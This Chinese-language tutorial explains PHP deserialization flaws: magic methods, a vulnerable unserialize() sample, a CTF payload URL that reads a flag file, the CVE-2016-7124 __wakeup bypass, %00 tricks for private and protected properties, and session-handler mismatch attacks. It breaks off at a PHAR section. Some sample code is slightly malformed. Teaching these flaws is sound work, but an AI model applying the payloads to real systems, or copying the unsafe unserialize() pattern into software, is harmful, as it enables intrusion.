反序列化詳解
什麼是php反序列化
序列化是php用來打包傳輸數據的一種方式,就像是貨物運輸時將大的貨物拆卸成小的貨物,然後傳輸到了規定的地點之後在進行拼裝的過程,反序列化就是從小物件來進行拼裝的過程,整體圍繞着serialize()以及unseralize()兩個函數進行.在php應用之中序列化已知作爲緩存使用,比如session,cookie等,常見的序列化格式有:二進制字符串 字節數組 json字符串 xml字符串,一般序列化問題的形成都是因爲php中魔法函數導致比如:
vodi_wakeup() //unserialize() 會檢查是否存在一個此方法,如果存在,就會先進行_wakeup方法的調用,預先準備對象需要的資源.
void__construct() //具有構造函數的類在每次創建新對象的時候先調用這個方法.
void__destruct() //析構函數會在到某個對象的所有引用都被刪除或者當對象被銷燬時執行.
string__toString (void) //方法常用於一個類被當成字符串時應怎麼樣迴應,例如 echo $obj;應該顯示些什麼.此方法必須返回一個字符串,否則將發出一條E_RECOVERABLE_ERROR級別的致命錯誤.
舉個例子:
json,json的傳輸形式就是一種序列化,json將數據進行轉化爲數組然後進行專門的傳輸.比如json_encode() json_decode() 這兩個函數
我們在這裏把這個book進行了一種數組的序列化,從而產生了一種序列化之後的數據:
序列化之後就會變成一種鍵值對的方式,從而便於傳輸,這就是json傳輸的方式.
serialize()
那麼關於php中對象的序列化就要用到serialize()函數了,傳遞信息都必須時重要並且用於存儲特徵字符,比如對象的名稱所以我們用freebuf上一位師傅的圖來了解一下序列化後的對象存儲的方式.
源碼運行之後便是:
那麼這些組合是怎麼來的呢?
存貯過程就是這個樣子,要注意的是序列化代碼的時候由於屬性的設置會導致繞過.由於一些魔法方法,服務器能夠接收我們反序列化過後的字符串並且未經過濾的變量放到魔術方法中就會產生漏洞
漏洞
源碼:
<?php
class A{
var $test= "demo";
function __destruct() //在本類被刪除的時候會進行函數調用
{
echo $this->test;
}
$a = $_GET['test'];
$a_unser = unserialize($a);
}
如果你手動序列化了 CLASS A , 那麼,這裏unserialize()函數就會將序列化的信息反制從而導致對象的產生,當對象消除時就會導致// $this->test // 的執行,所以從而看到如圖:
$a_unser = new A;
這樣我們通過控制A中的成員內容就可以成功達到任意輸出的情況。
例題
舉個ctf中的反序列化的例題:jarvisoj 神盾局
我們直接上源碼:
根據題目提示,我們知道flag存放在 pctf.php中,而我們要讀取pctf.php我們就需要第一張圖片的反序列化,之後就能夠利用反序列化中的函數來進行讀取文件,而變量名就是file 類名是Shield,這樣我們便能確定瞭如何構造payload了:
O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} //構造成功,我們只需要get('class')將參數傳進去即可
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代碼即可獲得flag
相信通過例題你對反序列化有了更深層次的理解,但是如果類中的變量進行了保護屬性或者是私有屬性從而無法通過直接的序列化來進行傳值,那麼我們會有其他的辦法.
__wakeup的繞過
(cve-2016-7124)
反序列化時如果表示對象屬性個數的值大於真實屬性個數時,就會自動默認跳過__wakeup()的執行.
影響版本:
PHP before 5.6.25
7.x before 7.0.10
繞過源碼:
<?php
class A{
var $test = "demo";
function __destruct()
{
echo $this->test;// TODO: Implement __destruct() method.
}
function __wakeup()
{
echo "wakeup!"."<br/>";// TODO: Implement __wakeup() method.
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
運行結果如下:
此時__wakeup()會在對象實例化之前運行所以先輸出了wakeup!,如果我們需要繞過只需要將對象中的屬性值修改即可
可以看到成功執行了我們輸入的命令.
注入對象構造
當目標對象被protected private時,我們可以通過特殊的方法進行構造繞過:
源碼
<?php
class A{
protected $test = "demo";
private $test2 = "test";
function __destruct()
{
echo $this->test."<br/>";// TODO: Implement __destruct() method.
echo $this->test2;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>
此時test以及test2已經被特殊屬性保護起來,我們這個時候通過傳入普通的序列化的字符串無法對對象進行修改:
我們此時需要進行特殊繞過:
如果對象擁有 private屬性我們可以將有此屬性的變量修改爲 %00A%00test2
也就是說這裏我們需要將變量名加上三個字符,兩個爲%00,中間一個爲類名 A
如果對象擁有 protected屬性時我們可以將有此屬性的變量修改爲 %00*%00test
也就是說在原來變量名上加了三個字符,兩個爲%00,中間爲爲一個 *
對比:
原來:
http://127.0.0.1/serialze.php?test=O:1:"A":2:{s:4:"test";s:6:"sussce";s:5:"test2";s:7:"sussce2";}
現在:
http://127.0.0.1/serialze.php?test=O:1:"A":2:{s:7:"*test";s:6:"sussce";s:8:"Atest2";s:7:"sussce2";}
可以看到我們第二個在修改具有私有類型的變量時我們加了%00A%00 在修改具有保護類型的變量時我們加了%00*%00 我們得到:
所以我們成果的繞過進行了修改;
Session的反序列化構造
php中的Session經過序列化後存儲,讀取時在進行反序列化.
相關配置
session.save_path="" //設置session的存儲路徑
session.save_handler="" //設定用戶自定義存儲函數,如果想使用php內置會話存儲機制之外的可以使用本函數
session.auto_start boolen //指定繪畫模塊是否在請求開始時啓動一個會話默認爲0不啓動
session.serialize_handler string //定義用來序列化/反序列化的處理器的名字. 默認使用php
session的所有配置文件:
其中PHP中有三種序列化處理器,如下表所示:
其中如果兩個頁面設置的session序列化/反序列化的處理器不一樣的化就會導致一些反序列化的錯誤
session使用的代碼爲:
<?php
session_start();
$_SESSION['test'] = $_GET['test'];
echo session_id();
?>
其中session的爲session_id,儲存內容爲序列化後的session : test|s:“test” ;
如下圖:
在存儲session的文件中 (這個文件路徑可以通過上面phpinfo();函數來看到):
即可以看出,在存儲文件中,test = test 的內容爲 test | s:4:“test” 他的session值爲c5amt5am2tujj531m9f5ciqk25
所以我們可以根據不同的php序列化工具來進行攻擊.
漏洞代碼:
<?php
//xl.php
ini_set("session.serialize_handler","php");
session_start();
class demo3{
var $test='test';
function __wakeup()
{
echo 'wakerup!.<br/>';// TODO: Implement __wakeup() method.
}
function __destruct()
{
echo $this->test;// TODO: Implement __destruct() method.
}
}
?>
<?php
//session.php
ini_set('session.serialize_handler',"php_serialize");
session_start();
$_SESSION['test'] = $_GET['test'];
echo session_id();
?>
這是兩個不同的php文件其中xl.php中使用的session序列化處理器爲php 而session中的序列化處理器爲php_serialize,此時我們可以構造實例來進行任意生成實例對象:
由於我們傳值時在serialize()的結果前面加上 | ,當使用php處理器時,就會把 | 後面的內容反序列化,從而調用xl.php中的__wakeup()方法和__destruct();
示例:
這樣就完成了任意的反序列化對象的構造.
PHAR利用
phar簡介
phar簡單來說就是php壓縮文檔,它可以把多個文件歸檔到同一個文件中,並且不用經過解壓就可以被php訪問執行,與file:// php:// 等類似.也是一種流包裝器
所以可以用來進行上傳繞過!!!新的sao姿勢有沒有
phar有四個部分組成:
stub phar 文件標識
這部分稍後再補充順便帶上繞過方式~~~